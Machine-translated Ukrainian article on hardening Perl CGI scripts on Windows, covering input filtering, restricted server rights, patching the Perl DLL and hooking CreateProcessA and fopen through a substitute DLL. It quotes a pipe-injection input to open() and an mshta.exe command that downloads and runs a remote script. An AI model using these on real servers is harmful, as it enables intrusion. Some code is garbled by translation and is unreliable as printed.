Захищаємо Perl шунт в мозок або звіряча нейрохірургія

[ виправити ] текст може містити помилки, будь ласка перевіряйте перш ніж використовувати.

скачати

Мова програмування Perl, будучи встановленим на Web-сервері, відрізняється високими вимогами до уважності розробника і кваліфікації системного адміністратора, при щонайменшій помилці людини залишаючи систему "відкритою і доступною" для зломщиків всього світу. У статті розглянута можливість знизити загрозу, встановлюючи свої власні захисні механізми (на прикладі "хірургічного відрізання" і перехоплення функцій читання, запису та виконання файлів у системі Windows).

Якщо ви програмуєте (або збираєтеся програмувати) Internet-додатки на мові Perl, то напевно стикалися з інформацією, яка описує уразливості цієї мови для хакерських атак. Найпростіший скрипт, наведений в будь-якому підручнику з мови Perl, на перевірку виявляється "широко відчиненими воротами" для хакерів, як досвідчених, так і початківців. Наприклад, фрагмент коду, який просто виводить вміст зазначеного файлу

open (f, $ filename);

while ()

{

print;

}

насправді може виконувати і інші дії. Подайте на його вхід рядок "| calc.exe", і ви запустіть на виконання стандартний калькулятор. У запуску на віддаленому сервері стандартних програм (таких як calc.exe або notepad.exe) мало сенсу, якщо не знати про ідеальну відмичку хакера - утиліту mshta.exe. Вона входить в стандартну поставку Windows і дозволяє легко і невимушено закачувати у атакуемую систему і виконувати в ній довільний код.

Наприклад, виконання в системі команди:

mshta.exe http://www.malware.com/foobar.hta

призведе до завантаження на комп'ютер файлу foobar.hta і виконання його як скрипта VBS. Цей приклад створює і запускає нешкідливе (по завіреннях організаторів сайту malware.com) додаток для MS-DOS, що показує стандартний алгоритм генерації полум'я. Природно, таким же способом можна закачати і виконати в системі довільний виконуваний файл, навіть якщо його там ще немає.

Кому це потрібно?

Мені хотілося б розвіяти упередження деяких системних адміністраторів, що злом саме їх сервера нікому не потрібен. Залізний аргумент - посилання на Невловимого Джо ("не така вже ми важна птиця, щоб нас ламати"). У дійсності, злом будь-якого (довільного) сервера може принести хакеру користь, оскільки відкриває йому нові чудові можливості:

Розіслати з уразливого сервера пару-трійку гігабайт поштового спаму.

Влаштувати на уразливому сервері "варезятнік" для неліцензійного софта, музики та відео.

Виконати складний і цікавий математичний розрахунок (зазвичай прораховують криптографію, щоб підібрати чийсь ключ, залучаючи до цього процесу - щоб справа йшла швидше - безліч зламаних машин).

Зламати або "заглушити" сміттєвими запитами (атака "відмова в обслуговуванні") більш важливий сервер (наприклад, сервер якого-небудь банку або державної установи).

Таким чином, вразливі сервери, незалежно від їх важливості, становлять небезпеку не меншу, ніж ті люди, які вміють використовувати ці сервери за їх прямим призначенням. :-)

Чому Perl вразливий?

Раціональне пояснення, навіщо функція open у Perl відпрацьовує символ конвеєра | як команду запустити програму на виконання, дати складно: Perl взагалі досить ірраціональний (зате гнучкий і компактний) мову. :-) Автор мови Perl Ларрі Уолл жартома розшифровує його назву як Patalogically Eclectic Rubbish Lister (Мінімальний набір Еклектичний Сміттєвий Лістер) - ми можемо лише побажати, щоб наступні його версією розвивалися в напрямі більшої безпеки, однозначності і безпомилковості коду - таких необхідних якостей для загальнодоступних Internet-додатків. Безумовно, "патологічність", "еклектичність" і "сміттєвого" - це негативні риси, з якими Ларрі Уолл повинен боротися. :-)

Фільтрація користувача введення

У статтях про безпечний програмуванні на мові Perl можна зустріти рекомендації фільтрувати користувальницький введення: зокрема, видаляти з отриманих ззовні рядків символи | і інші знаки, що мають у Perl спеціальне значення. Наприклад, наступна фільтрація введення "знезаразить" отримане ззовні ім'я файлу від спеціальних та небезпечних символів.

if ($ filename =~/[|-&./] /)

{Die "Неприпустимий символ в імені файлу n";}

open (f, $ filename);

Оцініть, будь достаток спеціальних значків - "крокозябліков" треба відфільтрувати для простої функції відкриття файлу. Очевидно, що треба бути глибоким експертом з мови Perl і дуже уважною людиною, щоб правильно розставити всі фільтри. Оскільки від людини, на відміну від залізного брухту, важко вимагати стовідсоткової надійності, розставлені в різних місцях програми "пастки на крокозябліков" на практиці можуть не спрацювати.

Обмеження прав Web-сервера

Internet-сервер і всі запущені ним програми, так чи інакше, контактують з усім зовнішнім світом, не повинні мати права адміністратора або привілейованого користувача. Призначити службі Web-сервера обмежені права - дуже надійний (і, напевно, єдино правильний) спосіб захистити свій сервер від атак ззовні.

При проектуванні Internet-сайту необхідно з самого початку розбити його інформаційне вміст на окремі папки, де знаходяться:

а) виконувані скрипти та програми

б) дані, призначені тільки для читання (HTML-сторінки)

в) дані, призначені для зміни відвідувачами.

Користувач, під ім'ям якого буде запущений Internet-сервер, повинен мати доступ тільки до цих папок, причому, на скрипти та дані треба накласти заборону запису (інакше хакер може злегка змінити зовнішній вигляд і функціонування вашого сайту), а на дані, призначені для зміни зовнішніми користувачами - заборона виконання (інакше він зможе створити і тут же виконати в цій папці все що завгодно). Цей варіант захисту теоретично "не розкриваються" - але на практиці у початківця адміністратора виникне ряд складнощів.

Так, у системі Windows web-сервер не запуститься, якщо не відкрити йому на доступ системні dll в папці c: winntsystem32. А якщо їх відкрити, всьому світу опиняться доступними чудові програми на зразок regedt32.exe, mshta.exe і т.д. Можна, звичайно, переписати на листочок список необхідних програмі системних dll і відкрити на доступ Internet-сервера тільки їх. Але чи багато хто адміністратори це роблять (і чи треба їм це?).

У Unix-подібних системах існують свої труднощі (одна з можливих проблем - закритий 80 порт для процесів, що не мають адміністративних привілеїв в системі).

У будь-якому випадку, цей метод захисту вимагає хорошої підготовки і високої мотивації адміністратора системи, що вказує на фундаментальний недолік такого захисту: її не можна встановити примусово, разом з установкою захищається програми, і надійність комп'ютерної системи повністю залежить від надійності найслабшого її ланки - людського мозку .

"Лоботомія" Perl

Лоботомія - це операція зі зміни особистості шляхом пошкодження лобових часток мозку, що відповідають за агресію. У свій час цю операцію застосовували по відношенню до злочинців, щоб зменшити їх небезпеку для суспільства. Хірург за допомогою спеціального інструменту через очниці досягав цієї області мозку і легким постукуванням дерев'яним молоточком по рукоятці інструменту наносив необхідні ушкодження (надлишкова кров і клітинна маса віддалялися за допомогою гнучкого зонда).

Застосовувати подібну операцію ми будемо не до хакерів (свого часу її визнали нелюдської та антигуманної), а до бінарним дистрибутиву Perl, щоб "відрубати" у нього "агресивну" реакцію на символ | ("конвеєр").

Зазначені нижче маніпуляції носять тестовий характер - не застосовуйте їх без ретельної перевірки на тестовій системі і на тестовій копії даних.

Для цього ми відшукаємо в бінарному дистрибутиві Perl (для експериментів я використовую дистрибутив ActivePerl версії 5.6) підрядок "cmd.exe". Це виклик стандартної оболонки Windows NT/2000/XP (для Windows 9x ім'я стандартної оболонки - "command.com"). Нас цікавлять файли з розширенням dll, де знайдена цей рядок. Якщо ми викликаємо Perl запуском perl.exe, то потрібна нам компонента - Perl56.dll (назва може відрізнятися в залежності від версії операційної системи). Замінимо яких-небудь редактором (я використовую вбудований редактор Far) підрядок cmd.exe на що-небудь інше тієї ж довжини, наприклад, sex.exe. Таким чином, символ "конвеєра" виявиться неробочим, однак, ми зможемо, як і раніше запускати програми функцією system ("ІмяПрограмми"). Так, погодьтеся, хоча і менш компактно, зате набагато безпечніше і менш агресивно. :-)

Програма sex.exe повинна виводити на стандартний висновок (stdout) яке-небудь добре і зворушливе привітання для хакера. Я сподіваюся, що з її створенням ви легко впораєтеся самостійно. :-).

Перехоплення системних викликів

Ми попередили не всі небезпеки, що підстерігають Perl-програміста.

Давайте припустимо, що ми хочемо заборонити інтерпретатору Perl:

запуск будь-яких зовнішніх програм (мудре рішення; ту ж відсилання пошти безумовно краще виконувати стандартними функціями Perl - інакше "лоботомію", в тій чи іншій мірі, довелося б виконувати до всіх програм, які ми запускаємо)

читання файлів, якщо розширення не ". html"

запис файлів, якщо розширення не ". user".

Отримавши такий дистрибутив Perl, навіть ... скажімо так, не зовсім грамотний Web-програміст (вимагати іншого від живих людей ми не тільки не має права, але й не в змозі) буде відчувати себе комфортно і, найголовніше, сухо.

Роль "захисної прокладки" в даному випадку виконає спеціальна dll, яка перехопить вказані нами системні виклики і, при необхідності, їх заблокує (на відміну від антивірусів, які перехоплюють системні виклики відразу всіх процесів в системі, ми будемо перехоплювати тільки системні виклики Perl, не чіпаючи решту системи).

Ми будемо використовувати системні функції Windows GetProcAddress і GetModuleHandle, щоб отримати адреси функцій для перехоплення, ImageDirectoryEntryToData - щоб отримати адресу початку таблиці імпорту, і функції VirtualProtect і WriteProcessMemory, щоб внести зміни в цю таблицю.

Спираючись на ці ключові слова, ви можете відшукати в Internet готове рішення, або написати додаток-"перехоплювач" самостійно. Одержаний у мене результат перехоплення (я використовував компілятор Delphi, оскільки для мови C прикладів можна знайти достатньо) ви можете скачати по посиланню [1].

Впровадження захисної DLL

Щоб "пристикувати" dll в адресний простір процесу, я використовую метод підміни DLL. Для цього я заходжу ... правильно, текстовим редактором у виконуваний файл Perl.exe і виправляю підрядок Perl56.dll на romix1.dll (так ми назвемо нашу захисну компоненту).

Пробую запускати Perl.exe. Звичайно ж, Perl пише, що не знайдена необхідна бібліотека romix1.dll. Ну що ж, створимо її. Для цього скомпіліруем програму з трьох рядків на Delphi, назвавши її romix1.dpr:

library romix1;

begin

end.

Цього недостатньо: тепер Perl при запуску видає помилку:

"Perl.exe пов'язаний з відсутнім компонентом Romix1.dll: RunPerl".

Perl імпортує єдину функцію RunPerl з цієї бібліотеки, і ми її зараз створимо (наша "підробка" буде просто передавати управління на "оригінал"):

library romix1;

procedure RunPerlOrig; external 'Perl56.dll' name 'RunPerl';

/ / Це оригінальна функція RunPerl з бібліотеки Perl56.dll.

procedure RunPerl; export; stdcall;

/ / Перехоплювач функції RunPerl

begin

asm

jmp RunPerlOrig; / / Робимо перехід (jump)

end;

end;

exports RunPerl;

begin

/ / Розташований тут код буде виконуватись при кожному запуску DLL

end.

Ассемблерние вставка робить перехід, куди треба. Тепер лайливі повідомлення припинилися, і змін у роботі Perl не видно. Зате ми досягли важливого результату: наша dll стала повноправним членом (якщо не мозком) виконуваного процесу Perl.exe. Подальше стає справою техніки (точніше, системних викликів Windows API і декількох "точкових" замін в таблиці імпорту Perl56.dll). Ви можете взяти готовий код [1] і подивитися, що у мене вийшло.

Які системні функції необхідно перехоплювати?

Технологія динамічно компонуемих бібліотек (DLL) істотно полегшує модифікацію Windows-додатків (закритий вихідний код компенсується тим, що всі назви функцій і точки їх входу не тільки добре видно, але і доступні для зміни). Переглядати статичний імпорт DLL або EXE зручно за допомогою утиліти dumpbin.exe зі студії розробки Microsoft.

Приклад виклику цієї утиліти з командного рядка:

dumpbin.exe / imports perl.exe

Програма видасть список DLL і їх функцій, які імпортує програма з цих DLL. Ось корисний нам фрагмент виведення цієї утиліти:

Microsoft (R) COFF Binary File Dumper Version 6.00.8168

Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

Dump of file perl.exe

File Type: EXECUTABLE IMAGE

Section contains the following imports:

...

Perl56.dll

402038 Import Address Table

4020C0 Import Name Table

0 time date stamp

0 Index of first forwarder reference

3C3 RunPerl

...

Зауваження: З цього лістингу ми бачимо, що програма імпортує бібліотеку Perl56.dll Це велика і "важка" динамічна бібліотека, яка підтримує всі функції Perl; Perl.exe ж фактично є невеликим завантажувачем для цієї бібліотеки, тільки лише запускаючи її єдину функцію RunPerl. Сенс такого поділу, мабуть, в тому, що при завершенні роботи Perl.exe система вивантажує бібліотеку з пам'яті лише через кілька секунд, якщо до неї не буде нових звернень. Оскільки всі запущені копії Perl.exe використовують тільки одну копію бібліотеки, система заощаджує час на вивантаженнях-завантаженнях (за умови, звичайно, що ця бібліотека постійно "висить" в пам'яті). Зауважу, що економії пам'яті від такого поділу не відбувається, тому що загальні сторінки всіх запущених копій одного і того ж файлу, що виконується система з будь-якого поміщає на одні й ті ж фізичні адреси.

Аналогічно ми можемо з'ясувати імпорт бібліотеки Perl56.dll (список функцій, звичайно ж, виявиться набагато довше). Подальші з'ясування, на які функції треба ставити "жучок", ми зробимо досвідченим шляхом - ми приблизно знаємо (а якщо не знаємо, то подивимося), :-) які API-функції повинна імпортувати скомпільована в системі Windows найпростіша тестова C-програма, яка виконує потрібні нам дії. Інший варіант - з'ясувати це за допомогою спеціальних "лоботоміческіх інструментів": наприклад, Numega SoftICE або Numega Bounds Checker (їх розгляд виходить за рамки цієї статті). Я наведу лише результат своїх досліджень: потрібні нам функції - це CreateProcessA (запуск програми) з бібліотеки KERNEL32.dll і функція fopen (відкриття файлу на читання або на запис) з бібліотеки MSVCRT.dll.

"За кадром" залишилися такі спеціальні питання, як формат таблиці імпорту Windows-програми. Частково цю інформацію можна отримати в коментарях вихідного коду [1], а частково - з літератури. До речі, корисні для початківців хакерів джерела (наприклад, книги Кріса Касперски, Джеффрі Ріхтера і Метта Пітрека) можна швидше знайти в мережі Internet, ніж у книжкових магазинах, де їх чомусь дуже швидко розкуповують. :-)

Висновок

Ми спробували захистити Perl - один з найбільш популярних (хоча й трохи еклектичних) :-) мов для роботи з CGI - від атак з Internet. Ми робили це на різних рівнях:

Фільтрацією користувача введення

Обмеженням прав доступу

Заміною підрядків в тілі програми

Перехопленням системних викликів

Можливі ще два рівні захисту:

Перекомпіляція Perl

Перекомпіляція ядра операційної системи.

Ефективність захисту в усіх розглянутих випадках йде "по наростаючій".

Зрозуміло, нам важлива не просто перекомпіляція, а перекомпіляція з впровадженням захисних перевірок. Наша мета - запровадити ці перевірки тим чи іншим способом, нехай навіть антигуманним і "хакерським". За допомогою дерев'яного молоточка.

А автори дистрибутивів вже самі розберуться, чи включати захисні опції до складу своїх продуктів, і активізувати чи їх за замовчуванням. :-)

Додати в блог або на сайт

Цей текст може містити помилки.

Програмування, комп'ютери, інформатика і кібернетика | Реферат
30.1кб. | скачати


Схожі роботи:
Довгастий мозок задній мозок 4 й шлуночок медіальна петля спинно мозочкові шляхи
Головний мозок Кінцевий мозок
Регулярні вирази в perl
Використання мови Perl
Нейрохірургія кома
книга Основи Perl для Біоінформатика
Дитяча нейрохірургія вроджені аномалії
Історія хвороби - нейрохірургія міжхребетна грижа
Література - Нейрохірургія ЗАКРИТІ ТРАВМИ ГОЛОВНОГО І СПИННОГО МОЗКУ
© Усі права захищені
написати до нас